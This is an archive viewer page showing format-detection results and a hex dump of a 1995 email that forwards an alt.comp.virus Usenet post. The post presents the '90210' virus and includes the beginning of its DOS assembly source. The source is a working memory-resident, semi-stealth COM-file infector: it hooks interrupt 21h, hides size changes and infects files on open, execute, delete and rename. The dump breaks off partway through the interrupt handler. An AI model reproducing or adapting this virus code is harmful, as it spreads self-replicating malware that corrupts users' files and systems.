home *** CD-ROM | disk | FTP | other *** search
open in: 
MacOS 8.1
|
Win98
|
DOS
view JSON data
|
view as text
This file was processed as: Mailbox/MIME Entity
(archive/mbox).
You can browse this item here: 90210.asm
| Confidence | Program | Detection | Match Type | Support
|
|---|
| 100%
| dexvert
| Mailbox/MIME Entity (archive/mbox)
| magic
| Supported |
| 100%
| dexvert
| Internet Message Format (text/imf)
| magic
| Supported |
| 100%
| dexvert
| Assembly Source File (text/asm)
| magic
| Supported |
| 1%
| dexvert
| freeCAD assembly (other/freeCADAssembly)
| ext
| Unsupported |
| 1%
| dexvert
| Text File (text/txt)
| fallback
| Supported |
| 100%
| file
| Mailbox text, 1st line "From smtp Tue Feb 7 13:13 EST 1995", ASCII text, with CRLF, CR line terminators
| default
| |
| 100%
| TrID
| E-Mail message (Var. 2)
| default
| |
| 100%
| checkBytes
| Printable ASCII
| default
| |
| 100%
| perlTextCheck
| Likely Text (Perl)
| default
| |
| 100%
| siegfried
| x-fmt/111 Plain Text File
| default
| |
| 100%
| detectItEasy
| Format: plain text[CRLF]
| default (weak)
| |
| 100%
| xdgMime
| application/mbox
| default
|
|
hex view+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 73 6d 74 | 70 20 54 75 65 20 46 65 |From smt|p Tue Fe|
|00000010| 62 20 20 37 20 31 33 3a | 31 33 20 45 53 54 20 31 |b 7 13:|13 EST 1|
|00000020| 39 39 35 0d 0d 0a 52 65 | 63 65 69 76 65 64 3a 20 |995...Re|ceived: |
|00000030| 66 72 6f 6d 20 6c 79 6e | 78 2e 64 61 63 2e 6e 65 |from lyn|x.dac.ne|
|00000040| 75 2e 65 64 75 20 62 79 | 20 50 4f 42 4f 58 2e 6a |u.edu by| POBOX.j|
|00000050| 77 75 2e 65 64 75 3b 20 | 54 75 65 2c 20 20 37 20 |wu.edu; |Tue, 7 |
|00000060| 46 65 62 20 39 35 20 31 | 33 3a 31 33 20 45 53 54 |Feb 95 1|3:13 EST|
|00000070| 0d 0d 0a 52 65 63 65 69 | 76 65 64 3a 20 62 79 20 |...Recei|ved: by |
|00000080| 6c 79 6e 78 2e 64 61 63 | 2e 6e 65 75 2e 65 64 75 |lynx.dac|.neu.edu|
|00000090| 20 28 38 2e 36 2e 39 2f | 38 2e 36 2e 39 29 20 0d | (8.6.9/|8.6.9) .|
|000000a0| 0d 0a 20 20 20 20 20 69 | 64 20 4e 41 41 33 30 38 |.. i|d NAA308|
|000000b0| 32 33 20 66 6f 72 20 6a | 6f 73 68 75 61 77 40 70 |23 for j|oshuaw@p|
|000000c0| 6f 62 6f 78 2e 6a 77 75 | 2e 65 64 75 3b 20 54 75 |obox.jwu|.edu; Tu|
|000000d0| 65 2c 20 37 20 46 65 62 | 20 31 39 39 35 20 31 33 |e, 7 Feb| 1995 13|
|000000e0| 3a 31 36 3a 31 39 20 2d | 30 35 30 30 0d 0d 0a 44 |:16:19 -|0500...D|
|000000f0| 61 74 65 3a 20 54 75 65 | 2c 20 37 20 46 65 62 20 |ate: Tue|, 7 Feb |
|00000100| 31 39 39 35 20 31 33 3a | 31 36 3a 31 39 20 2d 30 |1995 13:|16:19 -0|
|00000110| 35 30 30 0d 0d 0a 46 72 | 6f 6d 3a 20 6c 79 6e 78 |500...Fr|om: lynx|
|00000120| 2e 64 61 63 2e 6e 65 75 | 2e 65 64 75 21 65 6b 69 |.dac.neu|.edu!eki|
|00000130| 6c 62 79 20 28 45 72 69 | 63 20 4b 69 6c 62 79 29 |lby (Eri|c Kilby)|
|00000140| 0d 0d 0a 43 6f 6e 74 65 | 6e 74 2d 4c 65 6e 67 74 |...Conte|nt-Lengt|
|00000150| 68 3a 20 38 38 36 36 0d | 0d 0a 43 6f 6e 74 65 6e |h: 8866.|..Conten|
|00000160| 74 2d 54 79 70 65 3a 20 | 74 65 78 74 0d 0d 0a 4d |t-Type: |text...M|
|00000170| 65 73 73 61 67 65 2d 49 | 64 3a 20 3c 31 39 39 35 |essage-I|d: <1995|
|00000180| 30 32 30 37 31 38 31 36 | 2e 4e 41 41 33 30 38 32 |02071816|.NAA3082|
|00000190| 33 40 6c 79 6e 78 2e 64 | 61 63 2e 6e 65 75 2e 65 |3@lynx.d|ac.neu.e|
|000001a0| 64 75 3e 0d 0d 0a 54 6f | 3a 20 70 6f 62 6f 78 2e |du>...To|: pobox.|
|000001b0| 6a 77 75 2e 65 64 75 21 | 6a 6f 73 68 75 61 77 20 |jwu.edu!|joshuaw |
|000001c0| 0d 0d 0a 53 75 62 6a 65 | 63 74 3a 20 28 66 77 64 |...Subje|ct: (fwd|
|000001d0| 29 20 39 30 32 31 30 0d | 0d 0a 4e 65 77 73 67 72 |) 90210.|..Newsgr|
|000001e0| 6f 75 70 73 3a 20 61 6c | 74 2e 63 6f 6d 70 2e 76 |oups: al|t.comp.v|
|000001f0| 69 72 75 73 0d 0d 0a 53 | 74 61 74 75 73 3a 20 4f |irus...S|tatus: O|
|00000200| 0d 0d 0a 0d 0d 0a 50 61 | 74 68 3a 20 63 68 61 6f |......Pa|th: chao|
|00000210| 73 2e 64 61 63 2e 6e 65 | 75 2e 65 64 75 21 75 73 |s.dac.ne|u.edu!us|
|00000220| 65 6e 65 74 2e 65 65 6c | 2e 75 66 6c 2e 65 64 75 |enet.eel|.ufl.edu|
|00000230| 21 75 73 65 6e 65 74 2e | 63 69 73 2e 75 66 6c 2e |!usenet.|cis.ufl.|
|00000240| 65 64 75 21 63 61 65 6e | 21 75 77 6d 2e 65 64 75 |edu!caen|!uwm.edu|
|00000250| 21 6e 65 77 73 2e 61 6c | 70 68 61 2e 6e 65 74 21 |!news.al|pha.net!|
|00000260| 73 6f 6c 61 72 69 73 2e | 63 63 2e 76 74 2e 65 64 |solaris.|cc.vt.ed|
|00000270| 75 21 75 75 6e 65 74 21 | 61 6e 6b 68 2e 69 69 61 |u!uunet!|ankh.iia|
|00000280| 2e 6f 72 67 21 64 61 6e | 69 73 68 6d 0d 0d 0a 46 |.org!dan|ishm...F|
|00000290| 72 6f 6d 3a 20 64 61 6e | 69 73 68 6d 40 69 69 61 |rom: dan|ishm@iia|
|000002a0| 2e 6f 72 67 20 28 29 0d | 0d 0a 4e 65 77 73 67 72 |.org ().|..Newsgr|
|000002b0| 6f 75 70 73 3a 20 61 6c | 74 2e 63 6f 6d 70 2e 76 |oups: al|t.comp.v|
|000002c0| 69 72 75 73 0d 0d 0a 53 | 75 62 6a 65 63 74 3a 20 |irus...S|ubject: |
|000002d0| 39 30 32 31 30 0d 0d 0a | 44 61 74 65 3a 20 35 20 |90210...|Date: 5 |
|000002e0| 46 65 62 20 31 39 39 35 | 20 32 31 3a 35 35 3a 30 |Feb 1995| 21:55:0|
|000002f0| 37 20 47 4d 54 0d 0d 0a | 4f 72 67 61 6e 69 7a 61 |7 GMT...|Organiza|
|00000300| 74 69 6f 6e 3a 20 49 6e | 74 65 72 6e 61 74 69 6f |tion: In|ternatio|
|00000310| 6e 61 6c 20 49 6e 74 65 | 72 6e 65 74 20 41 73 73 |nal Inte|rnet Ass|
|00000320| 6f 63 69 61 74 69 6f 6e | 2e 0d 0d 0a 4c 69 6e 65 |ociation|....Line|
|00000330| 73 3a 20 33 34 35 0d 0d | 0a 4d 65 73 73 61 67 65 |s: 345..|.Message|
|00000340| 2d 49 44 3a 20 3c 33 68 | 33 68 66 72 24 73 62 40 |-ID: <3h|3hfr$sb@|
|00000350| 61 6e 6b 68 2e 69 69 61 | 2e 6f 72 67 3e 0d 0d 0a |ankh.iia|.org>...|
|00000360| 4e 4e 54 50 2d 50 6f 73 | 74 69 6e 67 2d 48 6f 73 |NNTP-Pos|ting-Hos|
|00000370| 74 3a 20 69 69 61 2e 6f | 72 67 0d 0d 0a 58 2d 4e |t: iia.o|rg...X-N|
|00000380| 65 77 73 72 65 61 64 65 | 72 3a 20 54 49 4e 20 5b |ewsreade|r: TIN [|
|00000390| 76 65 72 73 69 6f 6e 20 | 31 2e 32 20 50 4c 32 5d |version |1.2 PL2]|
|000003a0| 0d 0d 0a 0d 0d 0a 48 65 | 72 65 20 69 73 20 74 68 |......He|re is th|
|000003b0| 65 20 39 30 32 31 30 20 | 76 69 72 75 73 3a 0d 0d |e 90210 |virus:..|
|000003c0| 0a 0d 0d 0a 3b 39 30 32 | 31 30 20 56 69 72 75 73 |....;902|10 Virus|
|000003d0| 20 66 72 6f 6d 20 74 68 | 65 20 54 72 69 64 65 6e | from th|e Triden|
|000003e0| 54 20 76 69 72 75 73 20 | 72 65 73 65 61 72 63 68 |T virus |research|
|000003f0| 20 67 72 6f 75 70 2e 0d | 0d 0a 0d 0d 0a 3b 54 68 | group..|.....;Th|
|00000400| 69 73 20 69 73 20 61 20 | 73 65 6d 69 2d 73 74 65 |is is a |semi-ste|
|00000410| 61 6c 74 68 20 76 69 72 | 75 73 20 74 68 61 74 20 |alth vir|us that |
|00000420| 68 69 64 65 73 20 66 69 | 6c 65 2d 73 69 7a 65 20 |hides fi|le-size |
|00000430| 63 68 61 6e 67 65 73 20 | 77 68 69 6c 65 0d 0d 0a |changes |while...|
|00000440| 3b 69 74 20 69 73 20 69 | 6e 20 6d 65 6d 6f 72 79 |;it is i|n memory|
|00000450| 2e 20 20 49 74 20 6d 61 | 72 6b 73 20 74 68 65 20 |. It ma|rks the |
|00000460| 66 69 6c 65 73 20 77 2f | 74 68 65 20 74 69 6d 65 |files w/|the time|
|00000470| 73 74 61 6d 70 2e 20 20 | 49 74 20 77 69 6c 6c 0d |stamp. |It will.|
|00000480| 0d 0a 3b 69 6e 66 65 63 | 74 20 43 4f 4d 20 66 69 |..;infec|t COM fi|
|00000490| 6c 65 73 20 6f 6e 20 6f | 70 65 6e 2c 20 65 78 65 |les on o|pen, exe|
|000004a0| 63 75 74 65 2c 20 64 65 | 6c 65 74 65 2c 20 61 6e |cute, de|lete, an|
|000004b0| 64 20 72 65 6e 61 6d 65 | 2e 20 20 49 74 20 63 68 |d rename|. It ch|
|000004c0| 65 63 6b 73 0d 0d 0a 3b | 69 66 20 69 74 20 69 73 |ecks...;|if it is|
|000004d0| 20 69 6e 20 6d 65 6d 6f | 72 79 20 62 79 20 63 61 | in memo|ry by ca|
|000004e0| 6c 6c 69 6e 67 20 49 6e | 74 20 32 31 68 20 77 69 |lling In|t 21h wi|
|000004f0| 74 68 20 44 45 41 44 68 | 20 69 6e 20 41 58 20 61 |th DEADh| in AX a|
|00000500| 6e 64 20 75 73 65 73 20 | 4d 43 42 27 73 0d 0d 0a |nd uses |MCB's...|
|00000510| 3b 74 6f 20 67 6f 20 6d | 65 6d 6f 72 79 20 72 65 |;to go m|emory re|
|00000520| 73 69 64 65 6e 74 2e 0d | 0d 0a 0d 0d 0a 3b 44 69 |sident..|.....;Di|
|00000530| 73 61 73 73 65 6d 62 6c | 79 20 62 79 20 42 6c 61 |sassembl|y by Bla|
|00000540| 63 6b 20 57 6f 6c 66 0d | 0d 0a 0d 0d 0a 2e 6d 6f |ck Wolf.|......mo|
|00000550| 64 65 6c 20 74 69 6e 79 | 20 20 0d 0d 0a 2e 63 6f |del tiny| ....co|
|00000560| 64 65 0d 0d 0a 0d 0d 0a | 09 09 6f 72 67 20 20 20 |de......|..org |
|00000570| 20 20 31 30 30 68 0d 0d | 0a 20 20 0d 0d 0a 73 74 | 100h..|. ...st|
|00000580| 61 72 74 3a 0d 0d 0a 09 | 09 70 75 73 68 20 20 20 |art:....|.push |
|00000590| 20 61 78 0d 0d 0a 09 09 | 63 61 6c 6c 20 20 20 20 | ax.....|call |
|000005a0| 47 65 74 4f 66 66 73 65 | 74 0d 0d 0a 0d 0d 0a 47 |GetOffse|t......G|
|000005b0| 65 74 4f 66 66 73 65 74 | 3a 0d 0d 0a 09 09 70 6f |etOffset|:.....po|
|000005c0| 70 20 20 20 20 20 62 70 | 0d 0d 0a 09 09 73 75 62 |p bp|.....sub|
|000005d0| 20 20 20 20 20 62 70 2c | 6f 66 66 73 65 74 20 47 | bp,|offset G|
|000005e0| 65 74 4f 66 66 73 65 74 | 2d 73 74 61 72 74 0d 0d |etOffset|-start..|
|000005f0| 0a 0d 0d 0a 09 09 6d 6f | 76 20 20 20 20 20 61 78 |......mo|v ax|
|00000600| 2c 30 44 45 41 44 68 0d | 0d 0a 09 09 69 6e 74 20 |,0DEADh.|....int |
|00000610| 20 20 20 20 32 31 68 20 | 20 20 20 20 20 20 20 20 | 21h | |
|00000620| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 41 72 65 | | ;Are|
|00000630| 20 77 65 20 69 6e 73 74 | 61 6c 6c 65 64 3f 0d 0d | we inst|alled?..|
|00000640| 0a 09 09 63 6d 70 20 20 | 20 20 20 61 78 2c 30 41 |...cmp | ax,0A|
|00000650| 41 41 41 68 20 0d 0d 0a | 09 09 6a 65 20 20 20 20 |AAAh ...|..je |
|00000660| 20 20 44 6f 6e 65 49 6e | 73 74 61 6c 6c 0d 0d 0a | DoneIn|stall...|
|00000670| 0d 0d 0a 09 09 6d 6f 76 | 20 20 20 20 20 61 78 2c |.....mov| ax,|
|00000680| 33 35 32 31 68 0d 0d 0a | 09 09 69 6e 74 20 20 20 |3521h...|..int |
|00000690| 20 20 32 31 68 20 20 20 | 20 20 20 20 20 20 20 20 | 21h | |
|000006a0| 20 20 20 20 20 20 20 20 | 20 20 3b 47 65 74 20 69 | | ;Get i|
|000006b0| 6e 74 20 32 31 20 61 64 | 64 72 65 73 73 0d 0d 0a |nt 21 ad|dress...|
|000006c0| 09 09 09 20 20 20 0d 0d | 0a 20 20 20 20 64 62 20 |... ..|. db |
|000006d0| 20 20 20 20 20 32 65 68 | 2c 20 38 39 68 2c 39 65 | 2eh|, 89h,9e|
|000006e0| 68 2c 37 37 68 2c 30 68 | 20 20 20 20 20 3b 6d 6f |h,77h,0h| ;mo|
|000006f0| 76 20 63 73 3a 5b 4f 6c | 64 49 6e 74 32 31 2d 73 |v cs:[Ol|dInt21-s|
|00000700| 74 61 72 74 2b 62 70 5d | 2c 62 78 0d 0d 0a 20 20 |tart+bp]|,bx... |
|00000710| 20 20 64 62 20 20 20 20 | 20 20 32 65 68 2c 20 38 | db | 2eh, 8|
|00000720| 63 68 2c 20 38 36 68 2c | 20 37 39 68 2c 20 30 20 |ch, 86h,| 79h, 0 |
|00000730| 20 20 3b 6d 6f 76 20 77 | 6f 72 64 20 70 74 72 20 | ;mov w|ord ptr |
|00000740| 63 73 3a 5b 4f 6c 64 49 | 6e 74 32 31 2d 73 74 61 |cs:[OldI|nt21-sta|
|00000750| 72 74 2b 32 2b 62 70 5d | 2c 65 73 0d 0d 0a 0d 0d |rt+2+bp]|,es.....|
|00000760| 0a 09 09 6d 6f 76 20 20 | 20 20 20 61 78 2c 63 73 |...mov | ax,cs|
|00000770| 0d 0d 0a 09 09 64 65 63 | 20 20 20 20 20 61 78 0d |.....dec| ax.|
|00000780| 0d 0a 09 09 6d 6f 76 20 | 20 20 20 20 64 73 2c 61 |....mov | ds,a|
|00000790| 78 0d 0d 0a 09 09 63 6d | 70 20 20 20 20 20 62 79 |x.....cm|p by|
|000007a0| 74 65 20 70 74 72 20 64 | 73 3a 5b 30 5d 2c 27 5a |te ptr d|s:[0],'Z|
|000007b0| 27 0d 0d 0a 09 09 6a 6e | 65 20 20 20 20 20 44 6f |'.....jn|e Do|
|000007c0| 6e 65 49 6e 73 74 61 6c | 6c 20 20 20 20 20 20 20 |neInstal|l |
|000007d0| 20 20 3b 41 72 65 20 77 | 65 20 74 68 65 20 6c 61 | ;Are w|e the la|
|000007e0| 73 74 20 62 6c 6f 63 6b | 20 69 6e 20 63 68 61 69 |st block| in chai|
|000007f0| 6e 3f 0d 0d 0a 09 09 0d | 0d 0a 09 09 6d 6f 76 20 |n?......|....mov |
|00000800| 20 20 20 20 61 78 2c 64 | 73 3a 5b 33 5d 20 20 20 | ax,d|s:[3] |
|00000810| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 47 65 74 | | ;Get|
|00000820| 20 4d 43 42 20 73 69 7a | 65 0d 0d 0a 09 09 73 75 | MCB siz|e.....su|
|00000830| 62 20 20 20 20 20 61 78 | 2c 33 38 68 20 20 20 20 |b ax|,38h |
|00000840| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 73 | | ;s|
|00000850| 75 62 74 72 61 63 74 20 | 76 69 72 75 73 20 6d 65 |ubtract |virus me|
|00000860| 6d 6f 72 79 20 73 69 7a | 65 0d 0d 0a 09 09 6a 63 |mory siz|e.....jc|
|00000870| 20 20 20 20 20 20 44 6f | 6e 65 49 6e 73 74 61 6c | Do|neInstal|
|00000880| 6c 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 65 |l | ;e|
|00000890| 78 69 74 20 69 66 20 76 | 69 72 75 73 20 3e 20 4d |xit if v|irus > M|
|000008a0| 43 42 0d 0d 0a 0d 0d 0a | 09 09 6d 6f 76 20 20 20 |CB......|..mov |
|000008b0| 20 20 64 73 3a 5b 33 5d | 2c 61 78 20 20 20 20 20 | ds:[3]|,ax |
|000008c0| 20 20 20 20 20 20 20 20 | 20 20 3b 53 65 74 20 4d | | ;Set M|
|000008d0| 43 42 20 73 69 7a 65 0d | 0d 0a 09 09 3b 73 75 62 |CB size.|....;sub|
|000008e0| 20 20 20 20 20 77 6f 72 | 64 20 70 74 72 20 64 73 | wor|d ptr ds|
|000008f0| 3a 5b 31 32 68 5d 2c 33 | 38 68 20 20 3b 53 75 62 |:[12h],3|8h ;Sub|
|00000900| 74 72 61 63 74 20 76 69 | 72 75 73 20 6d 65 6d 20 |tract vi|rus mem |
|00000910| 66 72 6f 6d 20 0d 0d 0a | 09 09 64 62 20 20 20 20 |from ...|..db |
|00000920| 20 20 38 31 68 2c 32 65 | 68 2c 31 32 68 2c 30 2c | 81h,2e|h,12h,0,|
|00000930| 33 38 68 2c 30 20 20 20 | 20 20 3b 74 6f 70 20 6f |38h,0 | ;top o|
|00000940| 66 20 6d 65 6d 6f 72 79 | 20 69 6e 20 50 53 50 0d |f memory| in PSP.|
|00000950| 0d 0a 09 09 0d 0d 0a 09 | 09 6d 6f 76 20 20 20 20 |........|.mov |
|00000960| 20 73 69 2c 62 70 0d 0d | 0a 09 09 6d 6f 76 20 20 | si,bp..|...mov |
|00000970| 20 20 20 64 69 2c 30 0d | 0d 0a 09 09 6d 6f 76 20 | di,0.|....mov |
|00000980| 20 20 20 20 65 73 2c 64 | 73 3a 5b 31 32 68 5d 20 | es,d|s:[12h] |
|00000990| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 47 65 74 | | ;Get|
|000009a0| 20 74 6f 70 20 6f 66 20 | 6d 65 6d 6f 72 79 20 66 | top of |memory f|
|000009b0| 72 6f 6d 20 50 53 50 0d | 0d 0a 09 09 70 75 73 68 |rom PSP.|....push|
|000009c0| 20 20 20 20 63 73 0d 0d | 0a 09 09 70 6f 70 20 20 | cs..|...pop |
|000009d0| 20 20 20 64 73 0d 0d 0a | 09 09 6d 6f 76 20 20 20 | ds...|..mov |
|000009e0| 20 20 63 78 2c 32 38 37 | 68 0d 0d 0a 09 09 63 6c | cx,287|h.....cl|
|000009f0| 64 20 20 20 20 20 20 20 | 20 20 20 0d 0d 0a 09 09 |d | .....|
|00000a00| 72 65 70 20 20 20 20 20 | 6d 6f 76 73 62 20 20 20 |rep |movsb |
|00000a10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000a20| 3b 43 6f 70 79 20 76 69 | 72 75 73 20 69 6e 74 6f |;Copy vi|rus into|
|00000a30| 20 6d 65 6d 6f 72 79 0d | 0d 0a 09 09 0d 0d 0a 09 | memory.|........|
|00000a40| 09 6d 6f 76 20 20 20 20 | 20 61 78 2c 32 35 32 31 |.mov | ax,2521|
|00000a50| 68 20 20 20 20 20 20 20 | 20 0d 0d 0a 09 09 70 75 |h | .....pu|
|00000a60| 73 68 20 20 20 20 65 73 | 0d 0d 0a 09 09 70 6f 70 |sh es|.....pop|
|00000a70| 20 20 20 20 20 64 73 0d | 0d 0a 09 09 6d 6f 76 20 | ds.|....mov |
|00000a80| 20 20 20 20 64 78 2c 6f | 66 66 73 65 74 20 49 6e | dx,o|ffset In|
|00000a90| 74 32 31 48 61 6e 64 6c | 65 72 2d 73 74 61 72 74 |t21Handl|er-start|
|00000aa0| 0d 0d 0a 09 09 69 6e 74 | 20 20 20 20 20 32 31 68 |.....int| 21h|
|00000ab0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000ac0| 20 20 20 20 20 3b 53 65 | 74 20 69 6e 74 20 32 31 | ;Se|t int 21|
|00000ad0| 68 0d 0d 0a 09 09 09 20 | 20 20 0d 0d 0a 44 6f 6e |h...... | ...Don|
|00000ae0| 65 49 6e 73 74 61 6c 6c | 3a 0d 0d 0a 09 09 6d 6f |eInstall|:.....mo|
|00000af0| 76 20 20 20 20 20 64 69 | 2c 31 30 30 68 0d 0d 0a |v di|,100h...|
|00000b00| 09 09 6c 65 61 20 20 20 | 20 20 73 69 2c 5b 62 70 |..lea | si,[bp|
|00000b10| 2b 53 74 6f 72 61 67 65 | 5f 42 79 74 65 73 2d 73 |+Storage|_Bytes-s|
|00000b20| 74 61 72 74 5d 0d 0d 0a | 09 09 70 75 73 68 20 20 |tart]...|..push |
|00000b30| 20 20 63 73 0d 0d 0a 09 | 09 70 75 73 68 20 20 20 | cs....|.push |
|00000b40| 20 63 73 0d 0d 0a 09 09 | 70 6f 70 20 20 20 20 20 | cs.....|pop |
|00000b50| 64 73 0d 0d 0a 09 09 70 | 6f 70 20 20 20 20 20 65 |ds.....p|op e|
|00000b60| 73 0d 0d 0a 09 09 63 6c | 64 20 0d 0d 0a 09 09 6d |s.....cl|d .....m|
|00000b70| 6f 76 73 77 0d 0d 0a 09 | 09 6d 6f 76 73 62 20 20 |ovsw....|.movsb |
|00000b80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000b90| 20 20 20 20 20 20 20 20 | 20 3b 52 65 73 74 6f 72 | | ;Restor|
|00000ba0| 65 20 48 6f 73 74 20 66 | 69 6c 65 2e 0d 0d 0a 09 |e Host f|ile.....|
|00000bb0| 09 6d 6f 76 20 20 20 20 | 20 62 78 2c 6f 66 66 73 |.mov | bx,offs|
|00000bc0| 65 74 20 73 74 61 72 74 | 0d 0d 0a 09 09 70 6f 70 |et start|.....pop|
|00000bd0| 20 20 20 20 20 61 78 0d | 0d 0a 09 09 70 75 73 68 | ax.|....push|
|00000be0| 20 20 20 20 62 78 0d 0d | 0a 09 09 72 65 74 6e 20 | bx..|...retn |
|00000bf0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000c00| 20 20 20 20 20 20 20 20 | 20 20 20 3b 52 65 74 75 | | ;Retu|
|00000c10| 72 6e 20 74 6f 20 48 6f | 73 74 0d 0d 0a 0d 0d 0a |rn to Ho|st......|
|00000c20| 20 20 0d 0d 0a 56 69 72 | 75 73 4e 61 6d 65 20 20 | ...Vir|usName |
|00000c30| 20 20 20 20 20 64 62 20 | 20 20 20 20 20 27 5b 39 | db | '[9|
|00000c40| 30 32 31 30 20 42 48 5d | 27 0d 0d 0a 09 09 0d 0d |0210 BH]|'.......|
|00000c50| 0a 4f 6c 64 49 6e 74 32 | 31 3a 20 20 20 20 20 20 |.OldInt2|1: |
|00000c60| 20 20 20 20 20 20 20 20 | 20 20 0d 0d 0a 09 09 64 | | .....d|
|00000c70| 77 20 20 20 20 20 20 30 | 20 20 20 20 20 20 20 20 |w 0| |
|00000c80| 20 20 20 20 20 20 20 20 | 0d 0d 0a 09 09 64 77 20 | |.....dw |
|00000c90| 20 20 20 20 20 30 0d 0d | 0a 09 09 0d 0d 0a 49 6e | 0..|......In|
|00000ca0| 74 32 31 48 61 6e 64 6c | 65 72 3a 0d 0d 0a 09 09 |t21Handl|er:.....|
|00000cb0| 63 6d 70 20 20 20 20 20 | 61 78 2c 30 44 45 41 44 |cmp |ax,0DEAD|
|00000cc0| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h | |
|00000cd0| 3b 49 6e 73 74 61 6c 6c | 20 43 68 65 63 6b 3f 0d |;Install| Check?.|
|00000ce0| 0d 0a 09 09 6a 6e 65 20 | 20 20 20 20 4e 6f 74 49 |....jne | NotI|
|00000cf0| 6e 73 74 61 6c 6c 20 20 | 20 0d 0d 0a 09 09 6d 6f |nstall | .....mo|
|00000d00| 76 20 20 20 20 20 61 78 | 2c 30 41 41 41 41 68 0d |v ax|,0AAAAh.|
|00000d10| 0d 0a 09 09 69 72 65 74 | 20 0d 0d 0a 4e 6f 74 49 |....iret| ...NotI|
|00000d20| 6e 73 74 61 6c 6c 3a 0d | 0d 0a 0d 0d 0a 09 09 63 |nstall:.|.......c|
|00000d30| 6d 70 20 20 20 20 20 61 | 68 2c 31 31 68 20 20 20 |mp a|h,11h |
|00000d40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00000d50| 46 43 42 20 66 69 6e 64 | 20 66 69 72 73 74 0d 0d |FCB find| first..|
|00000d60| 0a 09 09 6a 65 20 20 20 | 20 20 20 46 43 42 53 65 |...je | FCBSe|
|00000d70| 61 72 63 68 0d 0d 0a 09 | 09 63 6d 70 20 20 20 20 |arch....|.cmp |
|00000d80| 20 61 68 2c 31 32 68 20 | 20 20 20 20 20 20 20 20 | ah,12h | |
|00000d90| 20 20 20 20 20 20 20 20 | 20 3b 46 43 42 20 66 69 | | ;FCB fi|
|00000da0| 6e 64 20 6e 65 78 74 0d | 0d 0a 09 09 6a 65 20 20 |nd next.|....je |
|00000db0| 20 20 20 20 46 43 42 53 | 65 61 72 63 68 0d 0d 0a | FCBS|earch...|
|00000dc0| 09 09 63 6d 70 20 20 20 | 20 20 61 68 2c 34 45 68 |..cmp | ah,4Eh|
|00000dd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000de0| 20 20 3b 68 61 6e 64 6c | 65 20 66 69 6e 64 20 66 | ;handl|e find f|
|00000df0| 69 72 73 74 0d 0d 0a 09 | 09 6a 65 20 20 20 20 20 |irst....|.je |
|00000e00| 20 48 61 6e 64 6c 65 53 | 65 61 72 63 68 0d 0d 0a | HandleS|earch...|
|00000e10| 09 09 63 6d 70 20 20 20 | 20 20 61 68 2c 34 46 68 |..cmp | ah,4Fh|
|00000e20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000e30| 20 20 3b 68 61 6e 64 6c | 65 20 66 69 6e 64 20 6e | ;handl|e find n|
|00000e40| 65 78 74 0d 0d 0a 09 09 | 6a 65 20 20 20 20 20 20 |ext.....|je |
|00000e50| 48 61 6e 64 6c 65 53 65 | 61 72 63 68 0d 0d 0a 09 |HandleSe|arch....|
|00000e60| 09 0d 0d 0a 09 09 70 75 | 73 68 20 20 20 20 61 78 |......pu|sh ax|
|00000e70| 20 62 78 20 63 78 20 64 | 78 20 73 69 20 64 69 20 | bx cx d|x si di |
|00000e80| 62 70 20 64 73 20 65 73 | 0d 0d 0a 0d 0d 0a 09 09 |bp ds es|........|
|00000e90| 63 6d 70 20 20 20 20 20 | 61 68 2c 33 44 68 20 20 |cmp |ah,3Dh |
|00000ea0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000eb0| 3b 68 61 6e 64 6c 65 20 | 66 69 6c 65 20 6f 70 65 |;handle |file ope|
|00000ec0| 6e 0d 0d 0a 09 09 6a 65 | 20 20 20 20 20 20 53 65 |n.....je| Se|
|00000ed0| 74 75 70 4e 61 6d 65 43 | 68 65 63 6b 0d 0d 0a 09 |tupNameC|heck....|
|00000ee0| 09 63 6d 70 20 20 20 20 | 20 61 78 2c 34 42 30 30 |.cmp | ax,4B00|
|00000ef0| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h | |
|00000f00| 20 3b 66 69 6c 65 20 65 | 78 65 63 75 74 65 0d 0d | ;file e|xecute..|
|00000f10| 0a 09 09 6a 65 20 20 20 | 20 20 20 53 65 74 75 70 |...je | Setup|
|00000f20| 4e 61 6d 65 43 68 65 63 | 6b 0d 0d 0a 09 09 63 6d |NameChec|k.....cm|
|00000f30| 70 20 20 20 20 20 61 68 | 2c 34 31 68 20 20 20 20 |p ah|,41h |
|00000f40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 68 | | ;h|
|00000f50| 61 6e 64 6c 65 20 66 69 | 6c 65 20 64 65 6c 65 74 |andle fi|le delet|
|00000f60| 65 0d 0d 0a 09 09 6a 65 | 20 20 20 20 20 20 53 65 |e.....je| Se|
|00000f70| 74 75 70 4e 61 6d 65 43 | 68 65 63 6b 0d 0d 0a 09 |tupNameC|heck....|
|00000f80| 09 63 6d 70 20 20 20 20 | 20 61 68 2c 34 33 68 20 |.cmp | ah,43h |
|00000f90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000fa0| 20 3b 67 65 74 2f 73 65 | 74 20 61 74 74 72 69 62 | ;get/se|t attrib|
|00000fb0| 75 74 65 73 0d 0d 0a 09 | 09 6a 65 20 20 20 20 20 |utes....|.je |
|00000fc0| 20 53 65 74 75 70 4e 61 | 6d 65 43 68 65 63 6b 0d | SetupNa|meCheck.|
|00000fd0| 0d 0a 09 09 63 6d 70 20 | 20 20 20 20 61 68 2c 35 |....cmp | ah,5|
|00000fe0| 36 68 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |6h | |
|00000ff0| 20 20 20 20 3b 72 65 6e | 61 6d 65 20 66 69 6c 65 | ;ren|ame file|
